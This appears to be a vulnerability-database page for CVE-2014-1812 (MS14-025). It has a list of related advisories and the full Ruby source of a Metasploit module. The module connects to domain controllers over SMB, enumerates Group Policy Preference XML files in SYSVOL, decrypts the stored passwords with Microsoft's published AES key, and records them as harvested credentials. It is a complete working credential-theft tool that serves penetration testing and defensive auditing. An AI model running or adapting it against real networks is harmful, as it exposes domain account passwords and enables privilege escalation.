| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| CVE-2014-1812 | 14 May 201400:00 | – | attackerkb | |
| CVE-2014-1812 | 29 May 201815:50 | – | circl | |
| Microsoft Windows Group Policy Preferences Password Privilege Escalation Vulnerability | 3 Nov 202100:00 | – | cisa_kev | |
| CVE-2014-1812 | 14 May 201410:00 | – | cve | |
| CVE-2014-1812 | 14 May 201410:00 | – | cvelist | |
| MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege: May 13, 2014 | 13 May 201400:00 | – | mskb | |
| KLA10601 Multiple vulnerabilities in Microsoft products | 11 Nov 201400:00 | – | kaspersky | |
| Immunity Canvas: MS14_025 | 14 May 201411:13 | – | canvas | |
| SMB Group Policy Preference Saved Passwords Enumeration | 28 Jul 201519:21 | – | metasploit | |
| CVE-2014-1812 | 14 May 201411:13 | – | nvd |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::OptionalSession::SMB
# Aliases for common classes
SIMPLE = Rex::Proto::SMB::Client
XCEPT = Rex::Proto::SMB::Exceptions
CONST = Rex::Proto::SMB::Constants
def initialize
super(
'Name' => 'SMB Group Policy Preference Saved Passwords Enumeration',
'Description' => %Q{
This module enumerates files from target domain controllers and connects to them via SMB.
It then looks for Group Policy Preference XML files containing local/domain user accounts
and passwords and decrypts them using Microsoft's public AES key. This module has been
tested successfully on a Win2k8 R2 Domain Controller.
},
'Author' =>
[
'Joshua D. Abraham <jabra[at]praetorian.com>',
],
'References' =>
[
['CVE', '2014-1812'],
['MSB', 'MS14-025'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/d315342d-41c0-47e3-ab96-7039eb91f5b4'],
['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'],
['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/']
],
'License' => MSF_LICENSE,
)
register_options([
OptString.new('SMBSHARE', [true, 'The name of the share on the server', 'SYSVOL']),
OptPort.new('RPORT', [true, 'The Target port', 445]),
OptBool.new('STORE', [true, 'Store the enumerated files in loot.', true])
])
end
def check_path(ip, path)
vprint_status("Trying to download \\\\#{ip}\\#{path}...")
begin
fd = simple.open(path, 'ro')
print_good "Found Policy Share on #{ip}"
smb_download(ip, fd, path)
rescue ::RubySMB::Error::UnexpectedStatusCode => e
case e.status_code.name
when 'STATUS_FILE_IS_A_DIRECTORY'
print_good("Directory FOUND: \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path}")
when 'STATUS_OBJECT_NAME_NOT_FOUND'
vprint_error("Object \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
when 'STATUS_OBJECT_PATH_NOT_FOUND'
vprint_error("Object PATH \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
when 'STATUS_ACCESS_DENIED'
vprint_error("Host reports access denied.")
when 'STATUS_BAD_NETWORK_NAME'
vprint_error("Host is NOT connected to #{datastore['SMBDomain']}!")
when 'STATUS_INSUFF_SERVER_RESOURCES'
vprint_error("Host rejected with insufficient resources!")
when 'STATUS_OBJECT_NAME_INVALID'
vprint_error("opening #{path.inspect} bad filename")
else
vprint_error("Server responded unexpected status code: #{e.status_code.name.inspect}")
end
ensure
fd.close unless fd.nil?
end
end
def report_creds(ip, user, password)
service_data = {
address: ip,
port: rport,
protocol: 'tcp',
service_name: 'smb',
workspace_id: myworkspace_id
}
new_user = user.sub(/\s+.*/, '')
first, rest = new_user.split(/\\/)
if first && rest
domain = first
user = rest
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: user,
private_data: password,
private_type: :password,
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: domain,
}
else
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: new_user,
private_data: password,
private_type: :password
}
end
credential_core = create_credential(credential_data.merge(service_data))
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
create_credential_login(login_data.merge(service_data))
end
def parse_xml(ip, path, xml_file)
mxml = xml_file[:xml]
print_status "Parsing file: \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path}"
file_type = File.basename(xml_file[:path].gsub("\\","/"))
results = Rex::Parser::GPP.parse(mxml)
tables = Rex::Parser::GPP.create_tables(results, file_type, xml_file[:domain], xml_file[:dc])
tables.each do |table|
print_good(table.to_s)
end
results.each do |result|
if datastore['STORE']
stored_path = store_loot('microsoft.windows.gpp', 'text/xml', ip, xml_file[:xml], file_type, xml_file[:path])
print_good("XML file saved to: #{stored_path}")
end
report_creds(ip, result[:USER], result[:PASS])
end
end
def smb_download(ip, fd, path)
vprint_status("Downloading #{path}...")
data = fd.read
path_elements = path.split('\\')
ret_obj = {
:dc => ip,
:path => path,
:xml => data
}
ret_obj[:domain] = path_elements[0]
parse_xml(ip, path, ret_obj) if ret_obj
fname = path.split("\\")[-1]
if datastore['STORE']
path = store_loot('smb.shares.file', 'application/octet-stream', ip, data, fname)
print_good("#{fname} saved as: #{path}")
end
end
def run_host(ip)
print_status('Connecting to the server...')
begin
if session
print_status("Using existing session #{session.sid}")
client = session.client
self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client)
else
connect
smb_login
end
print_status("Mounting the remote share \\\\#{simple.address}\\#{datastore['SMBSHARE']}'...")
tree = simple.client.tree_connect("\\\\#{simple.address}\\#{datastore['SMBSHARE']}")
corp_domain = tree.list.map { |entry| entry.file_name.value.to_s.encode }.detect { |entry| entry != '.' && entry != '..' }
fail_with(Failure::NotFound, 'Could not find the domain folder') if corp_domain.nil?
sub_folders = tree.list(directory: "#{corp_domain}\\Policies").map { |entry| entry.file_name.value.to_s.encode }
gpp_locations = %w(
MACHINE\\Preferences\\Groups\\Groups.xml
USER\\Preferences\\Groups\\Groups.xml
MACHINE\\Preferences\\Services\\Services.xml
USER\\Preferences\\Printers\\Printers.xml
USER\\Preferences\\Drives\\Drives.xml
MACHINE\\Preferences\\Datasources\\DataSources.xml
USER\\Preferences\\Datasources\\DataSources.xml
MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml
USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml
)
sub_folders.each do |sub_folder|
next if sub_folder == '.' || sub_folder == '..'
gpp_locations.each do |gpp_l|
check_path(simple.address,"#{corp_domain}\\Policies\\#{sub_folder}\\#{gpp_l}")
end
end
rescue ::Exception => e
print_error("#{simple.address}: #{e.class} #{e}")
ensure
disconnect
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation